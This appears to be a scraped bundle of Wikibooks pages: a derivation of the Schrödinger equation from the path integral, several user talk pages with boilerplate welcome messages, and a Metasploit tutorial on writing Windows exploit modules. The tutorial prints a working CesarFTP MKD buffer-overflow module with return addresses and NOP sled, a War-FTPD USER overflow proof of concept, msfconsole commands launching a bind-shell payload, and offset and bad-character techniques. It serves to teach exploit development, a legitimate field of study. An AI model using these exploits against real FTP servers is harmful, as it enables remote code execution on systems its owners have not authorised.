text:
This Quantum World/Feynman route/Schroedinger at last

< PREVIOUS

Schrödinger at last
The Schrödinger equation is non-relativistic. We obtain the non-relativistic version of the electromagnetic action differential,

dS=-mc^2\,dt\sqrt{1-v^2/c^2}-qV(t,\mathbf{r})\,dt+(q/c) \mathbf{A}(t,\mathbf{r})\cdot d\mathbf{r},$$

by expanding the root and ignoring all but the first two terms:

\sqrt{1-v^2/c^2}=1-{1\over2}{v^2\over c^2}-{1\over8}{v^4\over c^4}-\cdots\approx 1-{1\over2}{v^2\over c^2}.$$

This is obviously justified if $$v\ll c,$$ which defines the non-relativistic regime.

Writing the potential part of $$dS$$ as $$q\,[-V+\mathbf{A}(t,\mathbf{r})\cdot (\mathbf{v}/c)]\,dt$$ makes it clear that in most non-relativistic situations the effects represented by the vector potential $$\mathbf{A}$$ are small compared to those represented by the scalar potential $$V.$$ If we ignore them (or assume that $$\mathbf{A}$$ vanishes), and if we include the charge $$q$$ in the definition of $$V$$ (or assume that $$q=1$$), we obtain

S[\mathcal{C}]=-mc^2(t_B-t_A)+\int_\mathcal{C} dt\left[{\textstyle{m\over2}}v^2-V(t,\mathbf{r})\right]$$

for the action associated with a spacetime path $$\mathcal{C}.$$

Because the first term is the same for all paths from $$A$$ to $$B,$$ it has no effect on the differences between the phases of the amplitudes associated with different paths. By dropping it we change neither the classical phenomena (inasmuch as the extremal path remains the same) nor the quantum phenomena (inasmuch as interference effects only depend on those differences). Thus

\langle B|A\rangle=\int\mathcal{DC} e^{(i/\hbar)\int_\mathcal{C} dt[(m/2)v^2-V]}.$$

We now introduce the so-called wave function $$\psi(t,\mathbf{r})$$ as the amplitude of finding our particle at $$\mathbf{r}$$ if the appropriate measurement is made at time $$t.$$ $$\langle t,\mathbf{r}|t',\mathbf{r}'\rangle\,\psi(t',\mathbf{r}'),$$ accordingly, is the amplitude of finding the particle first at $$\mathbf{r}'$$ (at time $$t'$$) and then at $$\mathbf{r}$$ (at time $$t$$). Integrating over $$\mathbf{r},$$ we obtain the amplitude of finding the particle at $$\mathbf{r}$$ (at time $$t$$), provided that Rule B applies. The wave function thus satisfies the equation

\psi(t,\mathbf{r})=\int\!d^3r'\,\langle t,\mathbf{r}|t',\mathbf{r}'\rangle\,\psi(t',\mathbf{r}').$$

We again simplify our task by pretending that space is one-dimensional. We further assume that $$t$$ and $$t'$$ differ by an infinitesimal interval $$\epsilon.$$ Since $$\epsilon$$ is infinitesimal, there is only one path leading from $$x'$$ to $$x.$$ We can therefore forget about the path integral except for a normalization factor $$\mathcal{A}$$ implicit in the integration measure $$\mathcal{DC},$$ and make the following substitutions:

dt=\epsilon,\quad v=\frac{x-x'}{\epsilon},\quad V=V\left(t{+}\frac{\epsilon}{2},\frac{x{+}x'}{2}\right).$$

This gives us

\psi(t{+}\epsilon,x)=\mathcal{A}\int\!dx'\,e^{im(x{-}x')^2/2\hbar\epsilon}\, e^{-(i\epsilon/\hbar)V(t{+}\epsilon/2,(x{+}x')/2)}\,\psi(t,x').$$

We obtain a further simplification if we introduce $$\eta=x'-x$$ and integrate over $$\eta$$ instead of $$x'.$$ (The integration "boundaries" $$-\infty$$ and $$+\infty$$ are the same for both $$x'$$ and $$\eta.$$) We now have that

\psi(t+\epsilon,x)=\mathcal{A}\int\!d\eta\,e^{im\eta^2/2\hbar\epsilon}\, e^{-(i\epsilon/\hbar)V(t{+}\epsilon/2,x{+}\eta/2)}\,\psi(t,x{+}\eta).$$

Since we are interested in the limit $$\epsilon\rightarrow0,$$ we expand all terms to first order in $$\epsilon.$$ To which power in $$\eta$$ should we expand? As $$\eta$$ increases, the phase $$m\eta^2/2\hbar\epsilon$$ increases at an infinite rate (in the limit $$\epsilon\rightarrow0$$) unless $$\eta^2$$ is of the same order as $$\epsilon.$$ In this limit, higher-order contributions to the integral cancel out. Thus the left-hand side expands to

\psi(t+\epsilon,x)\approx\psi(t,x)+{\partial \psi\over\partial t}\epsilon,$$

while $$e^{-(i\epsilon/\hbar)V(t{+}\epsilon/2,x{+}\eta/2)}\,\psi(t,x{+}\eta)$$ expands to

\left[1-{i\epsilon\over\hbar}V(t,x)\right]\left[\psi(t,x)+{\partial \psi\over\partial x}\eta+\frac12{\partial^2\psi\over\partial x^2}\eta^2\right]= \left[1-{i\epsilon\over\hbar} V(t,x)\right]\!\psi(t,x)+{\partial \psi\over\partial x}\eta+ {\partial^2\psi\over\partial x^2}{\eta^2\over2}.$$

The following integrals need to be evaluated:

I_1=\int\!d\eta\, e^{im\eta^2/2\hbar\epsilon},\quad I_2=\int\!d\eta\, e^{im\eta^2/2\hbar\epsilon}\eta,\quad I_3=\int\!d\eta\, e^{im\eta^2/2\hbar\epsilon}\eta^2.$$

The results are

I_1=\sqrt{2\pi i\hbar\epsilon/m},\quad I_2=0,\quad I_3=\sqrt{2\pi\hbar^3\epsilon^3/im^3}.$$

Putting Humpty Dumpty back together again yields

\psi(t,x)+{\partial \psi\over\partial t}\epsilon=\mathcal{A}\sqrt{2\pi i\hbar\epsilon\over m} \left(1-{i\epsilon\over\hbar}V(t,x)\right)\psi(t,x) +{\mathcal{A}\over2}\sqrt{2\pi\hbar^3\epsilon^3\over im^3}{\partial^2\psi\over\partial x^2}.$$

The factor of $$\psi(t,x)$$ must be the same on both sides, so $$\mathcal{A}=\sqrt{m/2\pi i\hbar\epsilon},$$ which reduces Humpty Dumpty to

{\partial \psi\over\partial t}\epsilon=-{i\epsilon\over\hbar}V\psi+ {i\hbar\epsilon\over2m}{\partial^2\psi\over\partial x^2}.$$

Multiplying by $$i\hbar/\epsilon$$ and taking the limit $$\epsilon\rightarrow0$$ (which is trivial since $$\epsilon$$ has dropped out), we arrive at the Schrödinger equation for a particle with one degree of freedom subject to a potential $$V(t,x)$$:

i\hbar{\partial \psi\over\partial t}=-{\hbar^2\over2m}{\partial^2\psi\over\partial x^2}+V\psi.$$

Trumpets please! The transition to three dimensions is straightforward:

NEXT >


text:
Talk:French/About

"Plouhinec - Bucht von Pors Poulhan" does not appear to be French. Could someone add an appropriate title in French or English? Jade Knight 10:01, 23 March 2007 (UTC)

license: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/4.0/

title: Talk:French/About


text:
User talk:Thomas Van Dijck

Talk Page
Comparison of open source OS

title: User talk:Thomas Van Dijck


text:
Metasploit/WritingWindowsExploit

Writing a Windows Exploit for the Metasploit Framework

Abstract
This page explains how to write a Windows Exploit for the Metasploit Framework v3.x. This page doesn't explain how to find vulnerabilities. (For this, please see Fuzzing)

Overview
The Metasploit Framework helps to write reliable exploits easily and quickly. The Metasploit Framework uses the Ruby language.

Requirements
Technical skills

 * Some skills about the use of the Metasploit Framework.
 * Some programming skills (Ruby skills are useful but not fully required)
 * Some understanding about the Windows memory management (Heap, Stack, Registers)

Materials

 * The Metasploit Framework installed and working
 * A Windows platform
 * A debugger [1]
 * A text editor

Getting started
In the Metasploit Framework, an exploit is called an "exploit module". Exploit modules are located by default in: C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\ (also check C:\Documents and Settings\\Application Data\msf3\modules\exploits if you do not find in above path) Exploit modules are classified by platforms (OSes) and then by types (protocols).

Editing an exploit module
A good way to understand how an exploit module is written is to first edit one. We edit this module: C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\cesarftp_mkd.rb
 * 1) Notes of the author are noted in red.

## ## ## ##
 * 1) $Id: cesarftp_mkd.rb 4419 2007-02-18 00:10:39Z hdm $
 * 1) This file is part of the Metasploit Framework and may be subject to
 * 2) redistribution and commercial restrictions. Please see the Metasploit
 * 3) Framework web site for more information on licensing and terms of use.
 * 4) http://Metasploit.com/projects/Framework/
 * 1) Comment lines start with a # (they won't be executed)

require 'msf/core' #We will always need the core library

module Msf #This line should always be present

class Exploits ::Windows::Ftp::Cesarftp_Mkd < Msf::Exploit::Remote include Exploit::Remote::Ftp #We use MSF's built-in Ftp functions def initialize(info = {}) super(update_info(info, 'Name'          => 'Cesar FTP 0.99g MKD Command Buffer Overflow', #An understandable, detailed name (displayed in the console) 'Description'   => %q{ This module exploits a stack overflow in the MKD verb in CesarFTP 0.99g. #The description of the module/vulnerability }, 			'Author'        => 'MC', #The (nick)name of the author of this module 'License'       => MSF_LICENSE, #Type of license 'Version'       => '$Revision: 4419 $', #Version number of the module 'References'    => #Various 'URLs' about the vulnerability [ 					[ 'BID', '18586'], [ 'CVE', '2006–2961'], [ 'URL', ' http://secunia.com/advisories/20574/ ' ], ], 			'Privileged'    => true, 'DefaultOptions' => { 					'EXITFUNC' => 'process', }, 			'Payload'       => { 					'Space'   => 250, #Maximum space available in memory to store the shellcode (payload) 'BadChars' => "\x00\x20\x0a\x0d", #List of the forbidden characters 'StackAdjustment' => -3500, }, 			'Platform'      => 'win', #Type of the target's platform 'Targets'       => #List of the targets and return addresses [ 					[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ], [ 'Windows XP SP2 English',      { 'Ret' => 0x76b43ae0 } ], [ 'Windows 2003 SP1 English',    { 'Ret' => 0x76AA679b } ], ], 			'DisclosureDate' => 'Jun 12 2006', #Vulnerability disclosure date 'DefaultTarget' => 0 #Default target used if not specified by the user (in this case: Windows 2000 Pro SP4 English) ) 		) 	end
 * 1) The name of the class (Exploits::Windows::Ftp::Cesarftp_Mkd) specifies where the exploit module
 * 2) is physically located (*\exploits\windows\ftp\cesarftp_mkd.rb). The filename of the exploit
 * 3) module (cesarftp_mkd.rb) should be the same as the name of the class (Cesarftp_Mkd)

def check #Function used to check if a target is vulnerable connect disconnect

if (banner =~ /CesarFTP 0\.99g/) #We test the banner returned by the server return Exploit::CheckCode::Vulnerable #The server is vulnerable end return Exploit::CheckCode::Safe #The server is NOT vulnerable end

def exploit #We defines our exploit connect_login #We use the Ftp login function

sploit = "\n" * 671 + Rex::Text.rand_text_english(3, payload_badchars) #Padding sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded #Return address (little endian converted) + nop sled + payload

print_status("Trying target #{target.name}...")

send_cmd( ['MKD', sploit], false) #We send our exploit code to the target

handler disconnect #We close the connection end end end

The target
To understand how to write an exploit module for the Metasploit Framework, we'll write an exploit for an easily exploitable vulnerability in WarFTPD version 1.5 [2]. (Note that the exploit module for this vulnerability already exists in the Metasploit Framework, but we are trying to build our own exploit.) We download and install WarFTPD in our local Windows machine. We start WarFTPD Daemon. We uncheck the "No anonymous logins" checkbox. We start the FTP server (click on the "Go Online/Offline" button)

Ok, the server is now waiting for us...

The vulnerability
The first thing to do is to find information about the vulnerability in question. There are many possible sources for this. Here's an example: http://osvdb.org/displayvuln.php?osvdb_id=875&print We now see that the bug can be triggered by sending a specially crafted request in the USER command. Often a very long string will trigger this sort of bug, but let's verify that.

The PoC
We first reproduce the vulnerability. For this, we directly use the Metasploit Framework. We create the file: C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\warftpd.rb We open this file and write (copy/paste) the following code in it: ## ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking #The names of the exploit module and the class are 'equal' include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name'          => 'War-FTPD 1.65 Username Overflow', 'Description'   => %q{ This module exploits a buffer overflow found in the USER command of War-FTPD 1.65. },	#End of Description 'Author'        => 'Your Name',	#Change this value with your (nick)name 'License'       => MSF_LICENSE, 'Version'       => '$Revision: 1 $', 'References'    => [ 					[ 'URL', 'http://osvdb.org/displayvuln.php?osvdb_id=875&print' ] #The URL mentioned above ], 			'DefaultOptions' => { 					'EXITFUNC' => 'process' }, 			'Payload'       => { 					'Space'   => 1000,		#We actually don't know the correct value for this 'BadChars' => "\x00" #We actually don't know the correct value for this }, 			'Targets'       => [ 					# Target 0 [ 						'Our Windows Target', #Replace this with your Windows target platform (ie: Windows 2000 SP4) { 							'Platform' => 'win',	#We exploit a Windows target 'Ret'     => 0x01020304 #We actually don't know the correct value for this } 					] 				] 		)	#End of update_info 		)	#End of super end	#End of initialize def exploit connect print_status("Trying target #{target.name}...") exploit         = 'A' * 1000	#We first try to trigger the bug by sending a long string of 1000 "A" send_cmd( ['USER', exploit], false )	#We send our evil string handler disconnect	#We disconnect from the server end	#End of exploit end	#End of class
 * 1) This file is part of the Metasploit Framework and may be subject to
 * 2) redistribution and commercial restrictions. Please see the Metasploit
 * 3) Framework web site for more information on licensing and terms of use.
 * 4) http://Metasploit.com/projects/Framework/

The WarFTPD server is running (listening on default port 21/tcp). We now launch the Metasploit Framework's console. (Start / Programs / Metasploit3 / MSFConsole) We can now view our exploit using this command: show exploits We now launch our exploit using these commands: use windows/ftp/warftpd set RHOST 127.0.0.1 set TARGET 0 set PAYLOAD generic/shell_bind_tcp exploit

After few seconds we see the WarFTPD Daemon FTP Server disappearing (crashing). We have successfully reproduced the bug.

Debugging
To see what happens when the server crashes, we use a debugger. We launch again WarFTPD Daemon and attach our debugger to it. => In OllyDbg, we use "File/Attach", choose the WarFTPD process, click Ok and after it has been loaded, we press the F9 key to have it Running.

We launch our exploit again. We can now look at our debugger. We see that an access violation is triggered. EIP is overwritten with our evil string (41414141 is the hexadecimal equivalent for AAAA)

Finding space available
We have to find the space available for our shellcode (payload).

The Metasploit Framework includes tools to help us.

First, we shut down our debugger.

We use the pattern_create function to generate a string of non-repeating alpha-numeric text string. We use this function by calling the following script: C:\Program Files\Metasploit\Framework3\msf3\tools\pattern_create.rb

From a DOS command line console, it gives:

C:\Program Files\Metasploit\Framework3\msf3\tools>ruby pattern_create.rb Usage: pattern_create.rb length [set a] [set b] [set c]

We generate a string of 1000 characters and use it in our exploit to trigger the bug again:

C:\Program Files\Metasploit\Framework3\framework\tools>ruby pattern_create.rb 1000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac 6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9 Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak 6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9 Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As 6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9 Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba 6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9 Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh

In our PoC code, we replace this line: exploit         = 'A' * 1000

for: exploit         = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac 6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9 Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak 6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9 Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As 6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9 Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba 6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9 Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh'

Then, we save our modified PoC code. We start the War-FTPD FTP server. We run our debugger and attach it to the War-FTPD process. We launch our exploit...

Ok, we can now see this in our debugger:

We see that EIP is now overwritten with the value "32714131".

Then we use patternOffset to know the number of characters to send before hitting EIP. For this, we use the following script: C:\Program Files\Metasploit\Framework3\framework\tools\pattern_offset.rb

From a DOS command line console, it gives:

C:\Program Files\Metasploit\Framework3\msf3\tools>ruby pattern_offset.rb Usage: pattern_offset.rb  Default length of buffer if none is inserted: 8192 This buffer is generated by pattern_create in the Rex library automatically

So, we now provide the parameters found before like this: C:\Program Files\Metasploit\Framework3\msf3\tools>ruby pattern_offset.rb 32714131 1000

The result "485" is displayed. It means that we should have a space of 485 bytes to store our payload.

We add this value in our PoC code: We modify this line: 'Space'   => 1000,          #We actually don't know the correct value for this for: 'Space'   => 485,

In this way, when we will load our exploit in the Metasploit Framework (with the "use" command), it will automatically search and display the available payloads with a size lower than 485 (with the "show PAYLOADS" command).

Finding a return address
We have now to find a reliable return address. The best way is to take a return address directly in our target. (in the vulnerable executable itself or in one of the DLLs it uses) It avoids problems with various versions of Windows and Service Packs, locales, hotfixes... It would make our exploit universal. But it is not always so easy. One way for this is to use the search in memory functionality of OllyDbg. And, once again, the Metasploit Framework includes tools to help us. We can use 'msfpescan' to search return addresses for an opcode: $ ./framework/msfpescan Usage: ./framework/msfpescan [mode] [targets] Modes: -j, --jump [regA,regB,regC]     Search for jump equivalent instructions -p, --poppopret                 Search for pop+pop+ret combinations -r, --regex [regex]             Search for regex match -a, --analyze-address [address] Display the code at the specified address -b, --analyze-offset [offset]   Display the code at the specified offset -f, --fingerprint               Attempt to identify the packer/compiler Options: -M, --memdump                   The targets are memdump.exe directories -A, --after [bytes]             Number of bytes to show after match (-a/-b) -B, --before [bytes]            Number of bytes to show before match (-a/-b ) -I, --image-base [address]      Specify an alternate ImageBase -h, --help                      Show this message

We can also use the MSF Opcodes Database: http://metasploit.com/users/opcode/msfopcode.cgi Note that the Metasploit Framework includes a built-in client to use this database: http://www.metasploit.com/projects/Framework/msf3/msfopcode.html We can also use another nice tool called eereap from eEye: http://research.eeye.com/html/tools/RT20060801-2.html We can also find some international return addresses here: https://www.securinfos.info/international-opcodes/index.php

Dealing with badchars
We have now to find and prevent badchars. We should not include terminating null character in our shellcode as it would break out of the execution. We have already done this with this in our exploit: 'BadChars' => "\x00"  Additionally, a target application will often modify the data received before the application will work with the data. An example is an application that will change all characters to uppercase. As this will modify our shellcode, we have to deal with it. For this, the Metasploit Framework will encode our shellcode to obtain one without any specified badchars. We just have to specify the list of badchars in our exploit code. So, to find the badchars, we will send a string containing all the characters of the ASCII table, with both printable and non-printable ones. The string will look like this: "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e \x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d  \x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c  \x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b  \x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a  \x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9  \xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8  \xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7 \xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" @ We edit our exploit code and put the above string in it. Then, having our target application running and our debugger attached to its process; we relaunch our exploit. Under the debugger, after the access violation is triggered, we right click on the esp register and choose the option "follow in dump". We will now see our string and check what are the missing or modified characters at the end of the string. It is our first badchars. (note it) We remove it in our exploit code, and do it@ again... until we see all the characters sended in our debugger. Now we write, in the badchars section of our exploit, the characters found as badchars (removed or modified by the application).

title: Metasploit/WritingWindowsExploit


text:
User talk:JessieStamp

Hello and welcome to Wikibooks!

Here are some tips to help you get started:
 * You should sign your name on Talk and vote pages using four tildes, like this: ~~~~.
 * Remember to conduct any editing experiments in the sandbox.
 * If you're a Wikipedian, see Wikibooks for Wikipedians for a primer on how things work here (it's a little different).
 * If you want to base your work here on materials from Wikipedia, please use WB:RFI to bring the material over in compliance with the GFDL.
 * If you're an instructor and plan on using wikibooks for a class project, see Guidelines for class projects
 * Please say hello at the Staff Lounge with any questions or ideas.
 * Eventually, you might want to read the Manual of Style and Policies and Guidelines.
 * Please take a look at Naming policy before starting a new book.
 * Remember to maintain a Neutral point of view.
 * Explore, be bold in editing pages, and have fun!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be an idea if you add this page to your "watchlist" so that you can see when any new information is posted there.

Good luck! -- Herby talk thyme 13:56, 23 March 2007 (UTC)

title: User talk:JessieStamp


text:
User talk:Seraaj

Hello and welcome to Wikibooks!

Here are some tips to help you get started:
 * You should sign your name on Talk and vote pages using four tildes, like this: ~~~~.
 * Remember to conduct any editing experiments in the sandbox.
 * If you're a Wikipedian, see Wikibooks for Wikipedians for a primer on how things work here (it's a little different).
 * If you want to base your work here on materials from Wikipedia, please use WB:RFI to bring the material over in compliance with the GFDL.
 * If you're an instructor and plan on using wikibooks for a class project, see Guidelines for class projects
 * Please say hello at the Staff Lounge with any questions or ideas.
 * Eventually, you might want to read the Manual of Style and Policies and Guidelines.
 * Please take a look at Naming policy before starting a new book.
 * Remember to maintain a Neutral point of view.
 * Explore, be bold in editing pages, and have fun!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be an idea if you add this page to your "watchlist" so that you can see when any new information is posted there.

Good luck! -- Herby talk thyme 13:56, 23 March 2007 (UTC)

title: User talk:Seraaj


text:
User talk:Antgly

Hello and welcome to Wikibooks!

Here are some tips to help you get started:
 * You should sign your name on Talk and vote pages using four tildes, like this: ~~~~.
 * Remember to conduct any editing experiments in the sandbox.
 * If you're a Wikipedian, see Wikibooks for Wikipedians for a primer on how things work here (it's a little different).
 * If you want to base your work here on materials from Wikipedia, please use WB:RFI to bring the material over in compliance with the GFDL.
 * If you're an instructor and plan on using wikibooks for a class project, see Guidelines for class projects
 * Please say hello at the Staff Lounge with any questions or ideas.
 * Eventually, you might want to read the Manual of Style and Policies and Guidelines.
 * Please take a look at Naming policy before starting a new book.
 * Remember to maintain a Neutral point of view.
 * Explore, be bold in editing pages, and have fun!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be an idea if you add this page to your "watchlist" so that you can see when any new information is posted there.

Good luck! -- Herby talk thyme 13:56, 23 March 2007 (UTC)

title: User talk:Antgly


text:
User talk:Spaceage

Hello and welcome to Wikibooks!

Here are some tips to help you get started:
 * You should sign your name on Talk and vote pages using four tildes, like this: ~~~~.
 * Remember to conduct any editing experiments in the sandbox.
 * If you're a Wikipedian, see Wikibooks for Wikipedians for a primer on how things work here (it's a little different).
 * If you want to base your work here on materials from Wikipedia, please use WB:RFI to bring the material over in compliance with the GFDL.
 * If you're an instructor and plan on using wikibooks for a class project, see Guidelines for class projects
 * Please say hello at the Staff Lounge with any questions or ideas.
 * Eventually, you might want to read the Manual of Style and Policies and Guidelines.
 * Please take a look at Naming policy before starting a new book.
 * Remember to maintain a Neutral point of view.
 * Explore, be bold in editing pages, and have fun!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be an idea if you add this page to your "watchlist" so that you can see when any new information is posted there.

Good luck! -- Herby talk thyme 13:58, 23 March 2007 (UTC)

title: User talk:Spaceage


text:
User talk:Pedram~enwikibooks

Hello and welcome to Wikibooks!

Here are some tips to help you get started:
 * You should sign your name on Talk and vote pages using four tildes, like this: ~~~~.
 * Remember to conduct any editing experiments in the sandbox.
 * If you're a Wikipedian, see Wikibooks for Wikipedians for a primer on how things work here (it's a little different).
 * If you want to base your work here on materials from Wikipedia, please use WB:RFI to bring the material over in compliance with the GFDL.
 * If you're an instructor and plan on using wikibooks for a class project, see Guidelines for class projects
 * Please say hello at the Staff Lounge with any questions or ideas.
 * Eventually, you might want to read the Manual of Style and Policies and Guidelines.
 * Please take a look at Naming policy before starting a new book.
 * Remember to maintain a Neutral point of view.
 * Explore, be bold in editing pages, and have fun!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be an idea if you add this page to your "watchlist" so that you can see when any new information is posted there.

Good luck! -- Herby talk thyme 13:58, 23 March 2007 (UTC)

Your account will be renamed
Hello,

The developer team at Wikimedia is making some changes to how accounts work, as part of our on-going efforts to provide new and better tools for our users like cross-wiki notifications. These changes will mean you have the same account name everywhere. This will let us give you new features that will help you edit and discuss better, and allow more flexible user permissions for tools. One of the side-effects of this is that user accounts will now have to be unique across all 900 Wikimedia wikis. See the announcement for more information.

Unfortunately, your account clashes with another account also called Pedram. To make sure that both of you can use all Wikimedia projects in future, we have reserved the name Pedram~enwikibooks that only you will have. If you like it, you don't have to do anything. If you do not like it, you can pick out a different name.

Your account will still work as before, and you will be credited for all your edits made so far, but you will have to use the new account name when you log in.

Sorry for the inconvenience.

Yours, Keegan Peterzell Community Liaison, Wikimedia Foundation 23:36, 17 March 2015 (UTC)

Renamed
 This account has been renamed as part of single-user login finalisation. If you own this account you can |log in using your previous username and password for more information. If you do not like this account's new name, you can choose your own using this form after logging in: . -- Keegan (WMF) (talk) 05:21, 19 April 2015 (UTC)

title: User talk:Pedram~enwikibooks


text:
User talk:Lachaesis

Hello and welcome to Wikibooks!

Here are some tips to help you get started:
 * You should sign your name on Talk and vote pages using four tildes, like this: ~~~~.
 * Remember to conduct any editing experiments in the sandbox.
 * If you're a Wikipedian, see Wikibooks for Wikipedians for a primer on how things work here (it's a little different).
 * If you want to base your work here on materials from Wikipedia, please use WB:RFI to bring the material over in compliance with the GFDL.
